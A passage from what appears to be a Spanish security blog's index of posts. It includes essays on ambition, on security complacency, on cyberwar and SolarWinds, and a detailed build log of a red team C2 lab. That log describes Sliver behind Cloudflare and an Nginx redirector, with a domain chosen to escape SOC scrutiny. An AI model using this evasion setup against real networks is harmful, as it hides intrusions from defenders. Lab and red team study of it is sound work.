firmante pidió la cima, y la cima se entrega; no especificó que hubiera alguien en ella, y lo no especificado no se entrega, porque nunca formó parte del contrato. El diablo de esas historias no es un estafador. Es un compilador estricto: hace exactamente lo que se le pidió, sin ninguna de las cosas que se daban por sobreentendidas.\nTen cuidado con lo que deseas, porque puede hacerse realidad suena a refrán de abuela, y leída con frialdad es una advertencia de ingeniería de requisitos. El deseo se compila tal como fue especificado. Todo lo que el deseante asumió sin escribir — que seguiría siendo la misma persona al llegar, que los que lo querían seguirían cerca, que el logro vendría con el contexto que lo vuelve significativo — queda fuera del binario. Y uno no descubre lo que faltó en la especificación hasta que el programa corre.\nLa ironía de sentir esto como un pacto no se me escapa, viniendo de alguien que entiende la firma como trazo y el círculo como figura de cierre. Pero la ironía no invalida el dato. Lo subraya: el que conoce la forma de los contratos debería haber leído mejor el propio.\nHay algo más en ese contrato que tardé en ver, y es la fecha de la firma.\nEl objetivo que estoy por alcanzar lo especificó alguien que ya no existe: yo, hace años, con la información de hace años, con las carencias de hace años, con la idea de éxito que tenía sentido en una vida que ya no es esta. Esa versión escribió las instrucciones y las dejó corriendo con privilegios que nadie revocó nunca. El proceso siguió ejecutándose a través de versiones sucesivas de mí, intacto, sin que ninguna lo auditara — porque los objetivos largos no se perciben como código heredado que habría que revisar. Se perciben como identidad. Y nadie audita su propia identidad mientras funciona.\nEso no significa que el objetivo esté mal. Significa que lleva años corriendo sin revisión, escrito por alguien que no podía prever en quién me iba a convertir mientras lo perseguía. Parte del hueco que sentí es exactamente eso: la entrega está por llegar a una dirección donde el destinatario original ya no vive. El paquete es correcto. El receptor cambió. Nadie actualizó el registro.\nCómo llegué a estar tan solo en la subida es la parte que mejor entiendo, porque el mecanismo es limpio y funciona. Ese es precisamente el problema: funciona.\nSi cortar lazos no produjera resultados, nadie lo haría y no habría nada que escribir. Pero las relaciones consumen ancho de banda real — mantenimiento continuo, conflictos que hay que resolver, agendas que hay que sincronizar, la conversación difícil a la hora que uno no eligió — y al cortarlas, los ciclos liberados son medibles, inmediatos, reinvertibles. La curva de progreso se dobla hacia arriba la primera semana. Y las decisiones que funcionan a corto plazo tienen una propiedad peligrosa: generan su propia evidencia a favor. Cada semana de aislamiento produce avance; el avance valida el aislamiento; el bucle se confirma solo, y cada vuelta aprieta un poco más.\nHay una imagen vieja para esto, de la tradición que trabajaba con crisoles: para que la [[transmutacion-digital|transmutación ocurra]], la materia debe sellarse dentro del vaso, protegida de todo elemento externo que pueda contaminar el proceso. El que persigue algo monumental termina viéndose a sí mismo entrando en ese sello. Y desde dentro del vaso, la gente que lo rodea — que opera bajo paradigmas de normalidad, de estabilidad, de los martes como algo que se repite sin drama — empieza a leerse como impureza. Como lastre que diluye la obra. El vocabulario cambia según la época (distracción, ruido, gente que no entiende la visión), pero la operación es la misma: reclasificar el afecto como interferencia.\nLo más importante del mecanismo es que no exige ninguna decisión. Nadie se sienta una mañana a elegir perder gente. Se deja un mensaje sin contestar, y no pasa nada. Se falta a una reunión, a un cumpleaños, a un café, y no pasa nada. Cada omisión que no produce daño visible queda implícitamente confirmada como aceptable, y la línea de lo tolerable se desplaza sin que nadie la desplace. Es el mismo patrón por el que las organizaciones [[cuando-no-pasa-nada|normalizan el riesgo hasta el accidente]]: no hay un momento de corrupción, hay una erosión que en cada paso individual parece razonable. Después ya no hace falta decidir nada. La distancia se mantiene sola, como todo lo que nadie mantiene.\nLo que se pierde en ese proceso tiene nombre técnico, y nombrarlo con precisión importa porque el nombre afectivo — “perder gente”, “alejarse” — suena a costo sentimental, a algo que un profesional serio puede amortizar. No lo es. Es pérdida de instrumentación.\nLa gente que te conoce desde antes del objetivo constituye el único conjunto de sensores calibrados contra tu línea base. Saben cómo eras cuando dormías bien. Detectan la anomalía — el agotamiento que desde dentro ya no se nota, la suspicacia que se disfraza de rigor, la desconexión que se disfraza de enfoque — antes de que tu propia introspección la registre. Y la introspección no puede sustituirlos, por una razón estructural que no tiene arreglo: corre sobre el mismo hardware comprometido que intenta auditar. Nadie detecta su propia degradación usando el sistema degradado. Para eso existen los observadores externos, en las máquinas y en las personas.\nCuando la red se corta, entonces, lo que se pierde no es compañía. Es telemetría. Uno queda ciego a su propio estado exactamente durante el período de carga máxima, que es cuando más monitoreo necesitaba. Y el fallo resultante pertenece a la peor clase que existe: la silenciosa. No es la alerta que suena y se ignora — esa al menos deja registro. Es la alerta que no llega porque el sensor que la habría disparado ya no está instalado. Desde dentro, la ausencia de alertas y la salud se ven idénticas. No son la misma cosa, y la diferencia se cobra después, con intereses.\nHay una segunda pérdida, menos visible, que ocurre en paralelo. La identidad de cualquier persona está repartida en enunciados que dependen de otros: el amigo de tal, el hermano de tal, el que toca, el que aparece los jueves, el que escucha. Cada enunciado es un nodo, y mientras hay varios, la identidad es un sistema con redundancia: si un nodo cae — una pelea, una mudanza, una muerte —, los demás sostienen la carga. El aislamiento por objetivo poda esos nodos uno por uno, sin anunciarlo, hasta que todo colapsa en un único punto: soy el que va a lograr esto. Un solo punto de fallo, en el sentido más literal que tiene la expresión.\nSi el objetivo fracasa, no hay estructura debajo. Si el objetivo tarda — el caso estadísticamente más probable —, la identidad entera queda en suspenso, esperando la validación de un evento futuro e incierto, que es la peor arquitectura posible para algo que tiene que funcionar todos los días. Y hay una variante más cruel que e","date":"2026-06-10","section":"posts","series":null,"summary":"Estoy cerca de lograr algo que perseguí durante años. Lo que sentí no fue llegada.","tags":["ensayo","ambición","aislamiento","vínculos"],"title":"El vértice vacío","url":"/posts/el-vertice-vacio/"},{"content":" 🎵 Mother — Danzig de Danzig Hay un problema que casi no se nombra en la seguridad en general y que está debajo de casi todo lo demás. El problema es el siguiente: los sistemas de seguridad que funcionan generan, por su propio funcionamiento exitoso, la condición que los va a hacer fallar.\nEsto suena paradójico. No lo es. Es el más estructural de los problemas del campo, y entenderlo bien es lo que separa al operador maduro del operador entrenado.\nVoy a tratar de explicarlo de manera que la lógica quede expuesta y la salida — en la medida en que hay salida — quede visible donde está.\nLa comodidad no es negligencia.\nCuando un sistema defensivo lleva meses o años sin ver un incidente, las personas que lo operan empiezan a comportarse de una manera particular. No se vuelven negligentes. No se vuelven perezosas. Hacen exactamente el trabajo para el que fueron contratadas. Pero la forma en que hacen ese trabajo cambia, despacio, en una dirección que es imposible evitar porque está integrada al modo en que opera la atención humana.\nLas alertas que durante el primer mes se revisaban una por una, durante el séptimo mes se revisan en lotes. Las firmas que durante el primer trimestre se examinaban con sospecha, durante el cuarto trimestre se aprueban con confianza porque hasta ahora todas las firmas han resultado legítimas. El operario que durante la primera ronda revisaba cada paquete entrante con cuidado, durante la quinta ronda mira el origen y, si el origen es conocido, no abre el paquete. Es el mismo operario. Es el mismo procedimiento. Pero la energía con la que se ejecuta es distinta, porque la energía proporcional al riesgo percibido ha caído, y el riesgo percibido cae con cada día que pasa sin que algo malo ocurra.\nEsto tiene nombre en la literatura. Diane Vaughan, después de estudiar el caso del Challenger durante años, lo llamó normalización de la desviación: el proceso por el cual prácticas que originalmente se consideraban inaceptables se vuelven, gradualmente, prácticas estándar, porque durante un tiempo las realizaron sin que ocurriera ninguna catástrofe. Cada vez que la práctica desviada no produce daño, se confirma — implícitamente, sin que nadie lo verbalice — que la práctica desviada era aceptable. La línea de lo aceptable se mueve. Después se mueve otra vez. Y otra. Hasta que la línea actual está tan lejos de la línea original que cuando finalmente ocurre el accidente, el camino entre las dos líneas no se puede reconstruir, y todo el mundo descubre, sorprendido, que llevaba años trabajando en una zona que el diseño original consideraba prohibida.\nPero la palabra desviación implica que alguien se desvió, y eso es lo que vuelve la idea engañosa para los propósitos prácticos. Casi nunca hay un acto de desviación consciente. Lo que hay es la operación normal de la atención humana sobre estímulos cuya frecuencia de premio es muy baja. La atención sostenida es cara. El cerebro humano la asigna a procesos cuyo retorno justifica el costo. Cuando un proceso no produce retorno visible durante un período suficientemente largo — y la prevención exitosa es, por definición, un proceso sin retorno visible — el cerebro reasigna esa atención a procesos que sí lo producen. No es una decisión. Es metabolismo.\nPor eso decir que los operadores se vuelven negligentes es injusto y, además, no útil. Hacen su trabajo. El trabajo es el que se vuelve, lentamente, otro trabajo.\nEl defecto del modelo de capas.\nLa doctrina estándar contra esto se llama defensa en profundidad: múltiples capas independientes, cada una con sus propios controles, de modo que el fallo de una no signifique el compromiso del sistema entero. Es una doctrina buena. Es la mejor doctrina que tenemos. Y, en la práctica, falla casi siempre por la misma razón.\nFalla porque las capas no son independientes. Son nominales. En el papel cada capa tiene su propio mandato y sus propios criterios de operación. En la realidad operativa, cada capa hereda sus supuestos de la capa anterior. La capa dos asume que la capa uno está haciendo su trabajo. La capa tres asume que las dos primeras están haciendo el suyo. La capa cuatro lo asume de las tres anteriores. Y así.\nCuando todo funciona, esto produce eficiencia: nadie hace trabajo redundante. Cuando algo falla, esto produce colapso: el fallo de la capa uno se propaga sin resistencia porque ninguna de las capas posteriores estaba realmente diseñada para detectar lo que la primera dejó pasar, sino para detectar lo que se cuelan por otros vectores asumiendo que la primera ya filtró ciertos comportamientos.\nJames Reason, estudiando accidentes en aviación y medicina, lo describió como el modelo del queso suizo. Cada capa tiene huecos. Los huecos están en lugares distintos en cada capa, normalmente. Pero a veces se alinean. Cuando se alinean, el error pasa de un extremo al otro sin que ninguna capa lo detenga. Lo importante del modelo es que los huecos no son fallos puntuales — son propiedades permanentes de cómo se construyó cada capa, presentes desde el día uno y conocidas (al menos teóricamente) por los diseñadores. Lo que falla no es ninguna capa individual. Lo que falla es el supuesto de independencia entre ellas.\nCuando se agrega la comodidad al modelo, lo que ocurre es peor que esto: los huecos no permanecen estáticos. Crecen. Cada capa, a medida que se vuelve cómoda, expande sus huecos al ritmo lento de la normalización de la desviación. Y crece preferentemente hacia los huecos que las otras capas también están expandiendo, porque la justificación interna en cada equipo es la misma — “esto no ha causado problemas, no requiere la atención que requería al principio”. El resultado, después de algunos años, es que las capas nominalmente independientes se han alineado en sus zonas ciegas sin que nadie tomara la decisión consciente de alinearlas.\nA la luz fría de un análisis post mortem, esto se ve como negligencia coordinada. No lo es. Es la consecuencia natural de aplicar criterios racionales locales en cada capa sin un mecanismo que mire la geometría agregada de las capas en conjunto. Y casi ninguna organización tiene ese mecanismo, porque ese mecanismo es caro, no produce retornos visibles cuando funciona, y se recorta del presupuesto en cuanto las cosas están tranquilas.\nEl guardia que ya no mira.\nEl guardia de seguridad de una instalación física que no está preparado para que alguien armado entre corriendo a una sala de conferencias — es exacto, y vale la pena tratarlo con cuidado porque ilumina el problema sin las complicaciones del dominio digital.\nUn guardia que ha trabajado en la misma puerta durante tres años, sin haber visto nunca a una persona armada entrar, no puede mantener el mismo nivel de alerta que tenía la primera semana. No es cuestión de profesionalismo. No es cuestión de entrenamiento. Es cuestión de que la atención humana sostenida en preparación para un evento que nunca ocurre se degrada por la propia ausencia del evento. Es un problema físico, no moral.\nLo que el guardia desarrolla durante esos tres años no es laxitud. Es un modelo predictivo basado en la evidencia disponible. Su evidencia es: cada persona que ha pasado por esta puerta en los últimos tres años ha sido legítima. Por inferencia bayesiana razonable, la próxima persona también lo será. El guardia que aplica ese modelo no está fallando. Está haciendo exactamente lo que cualquier sistema racional con esa evidencia debería hacer. El problema es que el evento contra el cual está cubriendo — la entrada armada — tiene una probabilidad base extremadamente baja y una consecuencia extremadamente alta, y los seres humanos no tenemos un aparato cognitivo bien calibrado para sostener atención durante años frente a eventos de esa estructura.\nCuando ocurre el evento — y eventualmente ocurre, porque las probabilidades bajas multiplicadas por un tiempo lo suficientemente largo eventualmente realizan algo —, el guardia falla. Pero el guardia no falla porque sea mal guardia. Falla porque el di","date":"2026-05-12","section":"posts","series":null,"summary":"Sobre la comodidad como vulnerabilidad y el bucle que no se rompe","tags":["seguridad","comodidad","ensayo","bucle"],"title":"Cuando no pasa nada","url":"/posts/cuando-no-pasa-nada/"},{"content":" 🎵 Holy Wars... The Punishment Is Due — Megadeth de Rust in Peace Hay una pregunta que casi nunca se hace en serio en este oficio, y que es la única que importa: ¿para qué sirve la ciberguerra? No técnicamente — eso se contesta con manuales de operaciones — sino estratégicamente, civilizatoriamente. ¿Cuál es el objetivo real de invertir miles de horas-humanas, millones de dólares y décadas de inteligencia en mantener implantes durmientes en infraestructura ajena que tal vez nunca se activen?\nLa respuesta corta es: no es lo que parece.\nLa respuesta larga es lo que voy a tratar de escribir hoy.\nEl objetivo no es destruir. El objetivo es tener.\nCuando un Estado mantiene implantes activos en la red eléctrica, el sistema bancario, la cadena de suministro de chips o las comunicaciones militares de otro Estado, casi nunca los usa. No los necesita usar. El implante hace su trabajo por el solo hecho de existir.\nEsto es contraintuitivo si uno piensa la guerra cinéticamente. En guerra cinética, un arma sin disparar es un arma desperdiciada — el costo de mantenerla es real, y solo el uso justifica el costo. En guerra digital es exactamente al revés. El implante usado se quema. La detección que sigue al uso clausura el vector. La operación termina y hay que empezar de cero, con nuevos vectores, nuevos arsenales, nuevos meses de paciencia. El implante durmiente, en cambio, se conserva. Y mientras se conserva, hace algo que el implante usado no puede hacer: condiciona la conducta del adversario sin necesidad de actuar.\nA esto los analistas serios lo llaman destrucción mutua asegurada digital. Es la versión cibernética de lo que en guerra fría se llamó MAD nuclear, pero opera con una diferencia importante. La disuasión nuclear funcionaba por la certeza pública del arsenal — los misiles eran fotografiables, contables, contemplables desde un satélite. La disuasión digital funciona, paradójicamente, por la certeza privada y la negabilidad pública. Los implantes son secretos para la población general y conocidos entre las cancillerías. El equilibrio se sostiene en que ambos lados saben que el otro tiene, sin que nadie tenga que admitirlo. Y como nadie lo admite, cuando uno se activa hay una ventana de plausibilidad para negar y otra para responder, y esa ambigüedad es exactamente lo que hace que la disuasión funcione.\nEl objetivo, entonces, no es destruir infraestructura. El objetivo es poseer la posibilidad de destruirla, y dejar que esa posibilidad — sabida y no dicha — modifique las decisiones políticas, comerciales y militares del otro lado. La ciberguerra no es preparación para la guerra. Es la forma que ha tomado la diplomacia entre potencias en una era donde la guerra abierta entre nucleares es inviable.\nLo cual significa algo incómodo: la ciberguerra no se declara porque nunca se va a declarar. Es la condición permanente, no el evento excepcional.\nEl espionaje industrial: la otra mitad de la ecuación.\nSi la primera mitad de la operación es preposicionar leverage estratégico, la segunda es algo más mundano y más rentable: robar conocimiento.\nLas operaciones de espionaje industrial estatal son, en términos de retorno sobre inversión, posiblemente las más eficientes que ha habido nunca. Por menos de lo que cuesta desarrollar un programa nuclear propio, un Estado puede acceder a décadas de investigación de un competidor, ahorrarse las ramas de desarrollo que ya se sabe que no llevan a ningún lado, copiar los diseños finales, y entrar al mercado o al teatro militar con tecnología equivalente a una fracción del costo.\nEsto no es teoría. Es lo que pasó con la transferencia de tecnología de semiconductores hacia ciertos competidores asiáticos. Es lo que pasó con la transferencia de diseños de aeronaves de combate. Es lo que está pasando ahora con investigación farmacéutica, modelos de inteligencia artificial, y técnicas de manufactura avanzada. El cálculo es brutal: la inversión en operaciones cibernéticas de espionaje industrial se amortiza en años, no en décadas, y produce ventajas competitivas que el mercado no podría haber generado en el mismo período.\nA los efectos de un observador detenido, la ciberguerra tiene entonces dos caras simultáneas. La cara visible — implantes, sabotajes, ataques de ransomware atribuibles — es el teatro estratégico. La cara invisible — espionaje continuo, copia silenciosa de propiedad intelectual, mapeo de redes corporativas — es la operación económica. Ambas dependen del mismo arsenal, los mismos operadores, las mismas técnicas. Pero sirven a objetivos distintos, y entender la diferencia es importante porque la defensa contra una no es la defensa contra la otra.\nCatorce meses adentro.\nHay un caso que se ha vuelto canónico y que vale la pena mirar despacio, porque concentra en un solo evento todas las propiedades estructurales del problema.\nEn septiembre de 2019, un grupo de operadores que más tarde se atribuiría al Servicio de Inteligencia Exterior ruso accedió por primera vez al entorno de desarrollo de SolarWinds, una empresa de software de monitoreo de red usada por aproximadamente trescientas mil organizaciones en el mundo, incluyendo agencias federales estadounidenses y varias de las empresas más grandes del planeta. No hicieron nada destructivo en esa primera entrada. Probaron si podían insertar código en el pipeline de compilación. La prueba salió bien. La replicaron meses después con el código real.\nEn febrero de 2020 desplegaron SUNBURST: aproximadamente cuatro mil líneas de código malicioso insertadas en una DLL legítima de la plataforma Orion, firmada con los certificados digitales legítimos de SolarWinds. Entre marzo y junio, esa actualización envenenada se distribuyó a unas dieciocho mil organizaciones que la instalaron como instalan todas sus actualizaciones — con un clic, sin sospecha, porque la firma era correcta y la fuente era confiable.\nSUNBURST permanecía dormido catorce días después de la instalación. Después empezaba a hacer beacon usando consultas DNS disfrazadas como tráfico legítimo de la telemetría de Orion. Los subdominios consultados eran generados algorítmicamente y codificaban, dentro de la consulta, el dominio de Active Directory de la víctima — de modo que los operadores podían identificar exactamente qué red había sido infectada y decidir si merecía atención. Si la red no era interesante, le ordenaban al malware que se autodestruyera. Si lo era, descargaban un dropper de segunda etapa y empezaban el trabajo real.\nDe las dieciocho mil organizaciones infectadas, los operadores eligieron entrar activamente en aproximadamente cincuenta. El resto era cobertura — campo de camuflaje masivo para esconder a los blancos reales entre las víctimas accesorias. Entre los blancos reales había departamentos del gobierno estadounidense, empresas tecnológicas críticas, y una empresa de seguridad llamada FireEye que tenía la mala suerte de ser exactamente el tipo de empresa que podía descubrir lo que estaba pasando.\nLa operación duró catorce meses sin detección. Se descubrió por accidente. Un empleado de seguridad de FireEye notó que un nuevo dispositivo se había registrado en la cuenta de un empleado para la autenticación de dos factores. El empleado no había registrado ese dispositivo. Esa alerta — clasificada inicialmente como severidad cero, lo mínimo posible — fue la única hebra que, tirada hasta el final, desenrolló toda la operación.\nSi no hubiera sido por esa registracion de MFA — un detalle minúsculo notado por un humano atento — la operación habría continuado. Los rusos siguen, casi seguro, dentro de otras cadenas de suministro que todavía no se descubrieron. SolarWinds es el caso que conocemos. Es el único caso de toda una clase de eventos cuya frecuencia real es desconocida y, estructuralmente, desconocible.\nLo que SolarWinds enseña que casi nadie quiere aceptar.\nLa lección obvia es técnica: hay que [[proyecto-ouroboros|verificar la cadena de suministro]], implementar Zero Trust, hacer [[cuando-no-pasa-nada|t","date":"2026-05-10","section":"posts","series":null,"summary":"Sobre el objetivo real del conflicto digital y dónde termina lo que llamamos seguridad","tags":["ciberguerra","supply-chain","confianza","ensayo"],"title":"La guerra que no se declara","url":"/posts/la-guerra-que-no-se-declara/"},{"content":"Abstract Este artículo documenta la construcción completa de Vulpine Marrow: una infraestructura de Comando y Control (C2) red team multicapa construida sobre recursos cloud gratuitos, hardware doméstico y protocolos open source. El stack final conecta un operador en WSL con un servidor Sliver C2 en Proxmox, enrutando tráfico de implants a través de Cloudflare como relay y Nginx en Oracle Cloud como redirector de Capa 7, todo dentro de túneles WireGuard cifrados.\nEl proyecto no es un laboratorio de “instala Metasploit y listo”. Es una arquitectura de separación de capas real: el C2 nunca toca internet, las IPs reales quedan ocultas detrás de una CDN global, y el tráfico legítimo se mimetiza como tráfico de infraestructura CDN. El resultado: sesión activa en Windows 11 con el operador viendo una IP de Cloudflare donde debería estar la víctima, y la víctima viendo tráfico HTTPS a un dominio que parece infraestructura de Microsoft.\nTambién documento los 8 errores reales que tuve durante el deploy — desde un double-firewall invisible en Oracle hasta un mismatch de protocolos HTTP/HTTPS que mantuvo al beacon girando en vacío durante horas.\n1. Filosofía de diseño: Relay vs Redirector Antes de poner una sola VM en producción, hay que entender por qué la arquitectura distribuida existe. La respuesta directa: el C2 expuesto directamente a internet es un C2 quemado en horas. Los Blue Teams tienen OSINT, los investigadores de seguridad tienen Shodan, y las herramientas de threat intelligence mapean IPs activas en tiempo real. Si Sliver escucha en 0.0.0.0:443, su IP aparece en alguna base de datos en 24h.\nLa solución es separación de capas. Cada nodo cumple exactamente una función:\nComponente Rol Expuesto a internet Relay (Cloudflare) Mueve tráfico sin inspeccionarlo. Oculta la IP real del redirector. Sí — es CDN global Redirector (Nginx / Oracle) Inspecciona tráfico en Capa 7. Decide si pasa al C2 o redirige al señuelo. Sí — pero oculto por Cloudflare C2 (Sliver / Proxmox) Gestiona sessions, genera implants, recibe beacons. No — solo accesible por WireGuard Cloudflare actúa como relay: el implant habla con IPs de Cloudflare (104.21.x.x, 172.67.x.x), nunca con las IPs reales de Oracle. Esto significa que el Blue Team mirando logs de red solo ve tráfico HTTPS hacia infraestructura CDN conocida.\nNginx actúa como redirector: cuando el tráfico llega a Oracle, Nginx inspecciona la URI. Si coincide con el patrón del beacon de Sliver (/assets/bundle/...), hace proxy_pass al C2 por el túnel WireGuard. Cualquier otra petición —un scanner, el Blue Team, un investigador— recibe un 302 → https://www.microsoft.com. Inocente.\nEsta arquitectura viene documentada en el Red Team Infrastructure Wiki de bluscreenofjeff, el documento de referencia para [[redteam-infraestructura-vs-malware|infra red team profesional]].\nTopología completa graph TD OP[\"🖥️ RT-OP-ExegolThinkPad WSLOperador\"] VIC[\"🎯 osseous-limboAzure — Windows 11VM víctima\"] CF[\"☁️ CloudflareRelay / DNS ProxyIPs 104.21.x.x\"] IV[\"🔱 RT-RD-Ivory-VeilOracle VM2 — UbuntuNginx Redirector\"] SY[\"🔑 RT-VPN-SynapseOracle VM1 — UbuntuJump Host + WireGuard\"] PX[\"🏠 ProxmoxMotherbase / LAN\"] NM[\"💀 RT-C2-Nigredo-MarrowVM Debian 13Sliver C2\"] VIC --\u003e|\"HTTPS edgedeliverynodes.app\"| CF CF --\u003e|\"HTTPS :443\"| IV IV --\u003e|\"WireGuard 10.9.0.xproxy_pass HTTP:8080\"| NM OP --\u003e|\"SSH directo\"| SY SY --\u003e|\"WireGuard RT-VPN-Athanor10.8.0.0/24\"| PX PX --- NM OP -.-\u003e|\"SSH ProxyJump via Synapse\"| NMFlujo TLS — por qué no hay doble cifrado Implant → HTTPS (TLS 1.3) → Cloudflare [termina TLS aquí] → HTTPS (TLS 1.3) → Nginx Ivory-Veil [termina TLS aquí] → HTTP → WireGuard Tunnel [WG cifra todo] → HTTP → Sliver en Proxmox WireGuard ya usa ChaCha20-Poly1305 con intercambio de claves Noise Protocol. Añadir TLS sobre ese canal sería overhead innecesario sin beneficio de seguridad real. El proxy_pass de Nginx habla HTTP plano sobre el túnel cifrado.\n2. Nomenclatura: Conceptos alquimicos como sistema de naming Los nombres internos siguen la lógica de textos esotericos — el proceso de transformación alquimica en cuatro fases: Nigredo, Albedo, Citrinitas, Rubedo. Es solo por estetica y darle algo de personalidad a un proyecto a priori tecnico y aburrido (no es mi caso, obvio).\nComponente Nombre interno Concepto alquímico Función Oracle VM1 RT-VPN-Synapse La unión eléctrica Jump host + WireGuard server Oracle VM2 RT-RD-Ivory-Veil Albedo — superficie purificada externa Nginx redirector C2 Túnel gestión RT-VPN-Athanor El horno alquímico de fuego constante WireGuard Synapse↔Proxmox Sliver VM RT-C2-Nigredo-Marrow Nigredo: putrefacción. Marrow: tuétano C2 server oculto VCN Oracle Ouroboros-Net La serpiente que se muerde la cola Red virtual OCI Subnet pública Albedo-Fabric Capa externa purificada Subnet pública Oracle VM víctima osseous-limbo Estado entre planos, huesos en espera Windows lab target Operador RT-OP-Exegol — ThinkPad WSL + Exegol Regla crítica de OPSEC sobre naming:\nLos nombres internos (Proxmox, /etc/hosts, configs locales) pueden ser crípticos o creativos. Los externos — dominios, certificados TLS, user-agents del beacon — deben mimetizarse con tráfico legítimo del objetivo.\nDominio elegido: edgedeliverynodes.app\nPor qué funciona: suena a infraestructura CDN real. En logs corporativos nadie lo mira dos veces. Un analista viendo HTTPS → edgedeliverynodes.app en el SIEM no va a abrir un ticket de incidente de forma inmediata.\nNunca usar el dominio personal para infra red team. Está vinculado a identidad real y aparece en búsquedas de OSINT cruzadas.\n3. Inventario de recursos Oracle Cloud Free Tier (Always Free) VM Nombre IP Pública Shape OCPU RAM Rol VM1 RT-VPN-Synapse \u003cSYNAPSE_PUB_IP\u003e E2.1.Micro 1 1 GB Jump host + WireGuard VM2 RT-RD-Ivory-Veil \u003cIVORY_VEIL_PUB_IP\u003e E2.1.Micro 1 1 GB Nginx redirector Nota real: Se intentó provisionar instancias ARM VM.Standard.A1.Flex (4 OCPU, 24 GB RAM en Always Free) pero Oracle devolvía “Out of Capacity” para la región Chile Central. Las E2.1.Micro x86_64 son suficientes para WireGuard y Nginx.\nProxmox (motherbase) VM/LXC ID Nombre IP LAN Rol LXC 100 adguard 192.168.1.x DNS local LXC 103 tailscale 192.168.1.x Subnet router VM 115 nigredo-marrow 192.168.1.10 Sliver C2 Azure (victim lab) VM Nombre IP OS Acceso VM osseous-limbo \u003cOSSEOUS_LIMBO_IP\u003e Windows 11 Pro Preview Azure Bastion Dominio y DNS Servicio Detalle Registrador Name.com (GitHub Student Pack — gratis) Dominio edgedeliverynodes.app DNS Cloudflare (zona separada del dominio personal) WHOIS Privacy Activado Certificado TLS Let’s Encrypt via certbot DNS-01 challenge Redes WireGuard Túnel Red Servidor Cliente Función RT-VPN-Athanor 10.8.0.0/24 Synapse (10.8.0.1) Proxmox (10.8.0.2) Gestión operador Canal C2 10.9.0.0/24 Ivory-Veil (10.9.0.1) Nigredo-Marrow (10.9.0.2) Tráfico de beacons graph LR subgraph Athanor[\"RT-VPN-Athanor — 10.8.0.0/24\"] SY[\"Synapse10.8.0.1WG server\"] PX[\"Proxmox10.8.0.2WG client\"] end subgraph C2Tunnel[\"Canal C2 — 10.9.0.0/24\"] IV[\"Ivory-Veil10.9.0.1WG server\"] NM[\"Nigredo-Marrow10.9.0.2WG client\"] end SY \u003c--\u003e|\"UDP 51820Gestión\"| PX IV \u003c--\u003e|\"UDP 51820C2 traffic\"| NM 4. Fase 1 — Oracle Cloud VMs + WireGuard de gestión 4.1 Creación de VMs en OCI SSH key dedicada para la infra — nunca reutilizar claves personales:\n# En WSL — generar par ed25519 específico para RT ssh-keygen -t ed25519 -C \"RT-infra-2026\" -f ~/.ssh/rt_ed25519 Guardar la clave privada en Bitwarden como tipo “SSH Key”, no como nota de texto plano. La pública (rt_ed25519.pub) va en el campo correspondiente al crear las VMs en OCI.\nClave ed25519 dedicada — nunca la clave del sistema operativo personal\nConfiguración de VMs — problema ARM inmediato:\nAl intentar VM.Standard.A1.Flex (la opción Always Free ARM con 4 OCPU + 24 GB RAM), Oracle devuelve “Out of Capacity” para Santiago. Sin demora, cambio a VM.Standard.E2.1.Micro x86_64:\nOracle ARM agotado en la región — x86 E2.1.Micro como fallback\nImage: Ubuntu 24.04 LTS minimal Shape: VM.Standard.E2.1.Micro (Always Free) Network: VCN Ouroboros-N","date":"2026-05-03","section":"posts","series":null,"summary":"Una infraestructura C2 red team multicapa sobre cloud gratuito y hardware doméstico: operador en WSL, Sliver en Proxmox, Cloudflare como relay y Nginx en Oracle como redirector L7, todo en túneles WireGuard cifrados. Incluye los 8 errores reales del deploy.","tags":["sliver","wireguard","nginx","cloudflare","oracle-cloud","proxmox","c2","red-team","opsec","linux","azure","lets-encrypt","beacon","proyecto"],"title":"Vulpine Marrow: Infraestructura C2 Red Team con Sliver, WireGuard y Cloudflare","url":"/posts/vulpine-marrow-c2-infraestructura-redteam/"},{"content":"Abstract Hay una reflexión que surge naturalmente cuando empiezas a estudiar infraestructura Red Team real: si un atacante sofisticado puede operar con redirectores, domain fronting, C2 malleable y técnicas living-off-the-land que hacen casi indetectable su presencia, ¿por qué sigue existiendo el malware? ¿Por qué no todos los atacantes usan estas técnicas?\nLa respuesta revela algo fundamental sobre cómo funciona realmente el ecosistema de amenazas, y sobre la diferencia entre resolver un CTF, hacer pentesting, y operar como Red Team. No son versiones del mismo trabajo con distinto nivel de dificultad — son disciplinas con objetivos, modelos de amenaza y economías completamente distintos.\nDisclaimer: Este contenido tiene fines educativos e investigativos. Está dirigido a profesionales de ciberseguridad, estudiantes de Red Team, y defensores que necesitan entender el panorama de amenazas real.\nParte I: El Espectro de la Seguridad Ofensiva 1.1 CTF: El Laboratorio Controlado Un CTF (Capture The Flag) es el equivalente de aprender a conducir en un circuito cerrado. Las reglas están definidas, hay una solución correcta, el tiempo está acotado, y sabes que al final de cada desafío existe una flag esperándote.\nLo que un CTF te enseña es invaluable: pensamiento lateral, lectura de código, explotación de vulnerabilidades específicas, reverse engineering, criptografía aplicada. Son habilidades técnicas concretas.\nLo que un CTF no te enseña es cómo opera un adversario real contra infraestructura real con defensores humanos activos, presupuesto ilimitado de tiempo, y consecuencias legales reales.\nLas diferencias clave:\nDimensión CTF Red Team Objetivo Capturar una flag Demostrar impacto de negocio Tiempo Horas/días Semanas/meses Detección No importa OPSEC crítico Rutas de ataque Predefinidas Abiertas Adversario Organizadores SOC humano activo Infraestructura Simple C2 complejo, múltiples pivots Documentación Flag como prueba Evidencia forense de impacto 1.2 Pentesting: El Auditor Técnico El pentesting convencional se sitúa entre el CTF y el Red Team. Hay un scope definido, un time-box, y el objetivo es encontrar vulnerabilidades y reportarlas — no necesariamente explotarlas hasta sus últimas consecuencias.\nUn pentester trabaja generalmente con permiso explícito, dentro de ventanas horarias acordadas, contra sistemas que el cliente ya conoce. La detección es secundaria porque el objetivo es encontrar agujeros, no demostrar qué haría un atacante real si nadie supiera que está ahí.\nEsta es la brecha que muchos estudiantes no ven: el pentesting responde “¿puedo entrar?” El Red Team responde “¿qué podría hacer alguien que ya está adentro durante meses sin que nadie lo sepa?”\n1.3 Red Team: El Adversario Simulado El Red Team moderno emula Tactics, Techniques, and Procedures (TTPs) de adversarios reales — específicamente APTs (Advanced Persistent Threats) vinculados a estados-nación o grupos cibercriminales sofisticados.\nEl objetivo no es encontrar vulnerabilidades: es demostrar si el SOC puede detectar, contener y responder a un atacante que opera con paciencia, sofisticación y sigilo. El equipo de defensa (Blue Team) generalmente no sabe que el ejercicio está ocurriendo.\nEsto cambia todo:\nEl acceso inicial debe parecer legítimo (phishing dirigido, watering hole, supply chain) La persistencia debe sobrevivir reboots y análisis forense básico El movimiento lateral no puede disparar alertas de correlación Las exfiltraciones 